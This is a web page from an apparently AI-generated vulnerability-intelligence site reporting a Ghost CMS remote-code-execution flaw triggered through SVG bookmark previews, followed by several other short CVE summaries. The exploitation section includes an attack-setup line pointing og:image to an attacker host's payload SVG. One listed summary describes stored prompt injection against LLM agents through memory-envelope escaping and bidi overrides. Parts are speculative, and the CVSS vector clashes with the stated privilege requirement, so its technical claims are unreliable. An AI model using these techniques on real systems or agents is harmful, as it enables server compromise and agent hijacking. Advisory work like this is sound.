CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-105642

CVE-2026-105642: Remote Code Execution in Ghost CMS via Unsafe SVG Processing during Metadata Scraping

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 7, 2026·6 min read·34 visits

Executive Summary (TL;DR)

A Remote Code Execution (RCE) flaw in Ghost CMS (versions 6.56.0 - 6.66.0) allows low-privileged users to compromise the host server by inserting a link to an attacker-controlled webpage containing a malicious SVG image.

CVE-2026-105642 is a critical remote code execution vulnerability in Ghost CMS, affecting versions 6.56.0 through 6.66.0. The flaw resides in how Ghost's backend handles external image metadata when generating 'Bookmark' cards in the post editor. When a low-privileged staff member inputs a malicious URL, the server fetches and processes an SVG containing an embedded payload, leading to command execution via the underlying, vulnerable image-processing component.

Vulnerability Overview

Ghost CMS utilizes backend scraper components to enrich user-generated posts with interactive content. When an editor inserts a 'Bookmark' block into a post, the platform issues a server-side request to scrape the metadata of the target site. This process extracts Open Graph and Twitter Card tags, resolving image assets like icons and preview graphics to display on the card.

The underlying mechanism relies on backend dependencies that parse these image formats. In Ghost versions 6.56.0 through 6.66.0, the application handles Scalable Vector Graphics (SVG) without sufficient sandboxing or validation. Because SVG is an XML-based format, processing it without strict boundaries exposes the server to file system access, network requests, and OS-level shell command execution.

This vulnerability is tracked as CWE-94 (Improper Control of Generation of Code) and CWE-1395 (Dependency on Vulnerable Third-Party Component). The exposure is elevated because even restricted users, such as Contributors, can insert Bookmark blocks, initiating the backend image processing routine. The architecture of this vector is detailed below:

Root Cause Analysis

The root cause of CVE-2026-105642 lies in the unsafe processing of XML-based graphics within the server's backend image-processing pipeline. When rendering metadata previews, Ghost downloads the remote image into a memory buffer and processes it via rendering engines such as @tryghost/kg-default-nodes or related image helpers. Older versions of these libraries passed the SVG payload directly to underlying native libraries without adequate sanitization.

Because SVGs are XML documents, they support advanced features such as external entity resolution (XXE), nested scripts, and system-level rendering operations. If the SVG parser does not run in a highly restricted sandbox, or if it leverages native libraries with buffer overflows or command injection vulnerabilities, a specially crafted SVG file can execute arbitrary system commands in the host shell.

The attack vector bypasses standard authentication boundaries because the victim does not need to upload the image directly to the Media Library. The upload is simulated via a third-party server, allowing an unprivileged contributor or an external actor who successfully social-engineers an author to pass the input directly to the internal renderer.

Code Analysis

The remediation effort in commit 4cb7e7956356a47e2c2c240588ef32ecd9fddeaa focuses on isolating preview generation and updating vulnerable packages. Ghost introduced a configuration parameter, embedPreviewUrl, designed to route embedding requests through a sandboxed engine isolated from the main application origin.

Additionally, dependencies within the @tryghost/koenig-lexical and @tryghost/kg-default-nodes modules were updated to secure versions that lock image-rendering engines and sanitize vector inputs prior to passing them to native parser utilities.

The structural changes are highlighted in the configuration and dependency definitions:

// Package lock update in 6.67.0 release commit
{
  "name": "ghost",
  "version": "6.67.0",
  "dependencies": {
    "@tryghost/koenig-lexical": "2.13.0",
    "@tryghost/kg-default-nodes": "1.4.1"
  }
}
// Conceptual representation of the sandboxing control implementation
const previewConfig = {
    // Previous unsafe processing resolved remote images directly in main process
    // The update routes previews through isolated rendering domains
    embedPreviewUrl: process.env.EMBED_PREVIEW_URL || 'https://sandbox.ghost.org/embed',
    sandboxOptions: {
        allowScripts: false,
        allowSameOrigin: false
    }
};

By forcing the rendering of remote metadata to occur within an isolated container or origin, any code executed during parsing is constrained and cannot access the core application's file system or database credentials.

Exploitation Methodology

An attacker must construct a sequence where the Ghost backend is forced to parse an external SVG payload. The exploit chain consists of the following technical steps:

  1. The attacker deploys an HTTP server hosting a web page containing Open Graph meta tags pointing to a target SVG:
<meta property="og:image" content="http://attacker.com/payload.svg" />
  1. The attacker crafts payload.svg. The SVG payload uses structural features designed to trigger memory corruption or spawn terminal sessions within the native rendering binary associated with Ghost's image pipeline.

  2. An attacker logs in with a 'Contributor' account (or uses social engineering to target a staff member) and creates a draft post. Within the Koenig editor, the user adds a 'Bookmark' block and enters the URL of the attacker's server.

  3. The Ghost backend initiates an HTTP GET request to retrieve the metadata. It parses the HTML, extracts the URL for payload.svg, and fetches the SVG raw buffer into memory.

  4. The buffer is processed by the unsafe image component, triggering the embedded payload. The shell command executes under the privileges of the active Node.js server daemon.

Impact Assessment

The impact of successful exploitation is complete compromise of the underlying host operating system. Because the Ghost server process typically requires read and write access to the main database, configuration directories, and local media folders, the attacker obtains the same permissions.

An attacker can read connection strings from the config.production.json file, granting immediate access to database environments containing user credentials, email lists, and site configurations. Furthermore, the attacker can leverage host access to execute lateral movement across internal subnets or modify application source files to inject malicious JavaScript, targeting site visitors with drive-by downloads or credential harvesting operations.

The CVSS v3.1 score is evaluated at 8.8 (High), with high metrics for Confidentiality, Integrity, and Availability impact. Although user interaction is required (forcing a staff user to paste a URL), the low privilege requirement makes this an extremely dangerous vector inside multi-user publishing environments.

Remediation and Mitigation

The definitive mitigation for CVE-2026-105642 is upgrading the Ghost instance to version 6.67.0 or later. This updates the primary dependencies and installs the safe image parsing routines.

For administrators who cannot immediately apply the patch, the following workarounds should be applied:

  1. Restrict Outbound Server Traffic: Configure host-level firewall rules using tools such as iptables or cloud security groups to block outgoing HTTP/HTTPS connections from the Ghost application server to untrusted external networks. This prevents the scraper from retrieving metadata from external attacker-controlled hosts.

  2. Author Privilege Auditing: Temporarily revoke draft privileges for untrusted or low-privileged staff members, such as Contributors, to prevent the unauthorized insertion of unsafe Bookmark cards.

  3. WAF Rules: Implement Web Application Firewall (WAF) policies designed to inspect draft payload requests and block requests targeting external domains containing unrecognized or suspicious query parameters and file types.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.25%
Top 85% most exploited

Affected Systems

Ghost CMS (Self-hosted Node.js instances)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost
TryGhost
>= 6.56.0, <= 6.66.06.67.0
AttributeDetail
CWE IDCWE-94, CWE-1395
Attack VectorNetwork (AV:N)
CVSS v3.1 Score8.8
EPSS Score0.00251
Exploit Statuspoc
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The application constructs or generates code using untrusted input, allowing an attacker to execute arbitrary command strings on the hosting operating system.

Vulnerability Timeline

Vulnerability identified and patched in Ghost version 6.67.0
2026-09-30
GitHub Security Advisory GHSA-788w-68h3-cvxp published
2026-10-01
CVE-2026-105642 assigned and registered in the NVD database
2026-10-02

References & Sources

  • [1]GitHub Security Advisory GHSA-788w-68h3-cvxp
  • [2]NVD - CVE-2026-105642
  • [3]CVE.org Record
  • [4]Ghost Version Release Commit

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 17 hours ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
4 views•10 min read
•about 18 hours ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
6 views•12 min read
•about 19 hours ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
5 views•12 min read
•about 20 hours ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
10 views•10 min read
•about 21 hours ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
12 views•10 min read
•about 22 hours ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
6 views•9 min read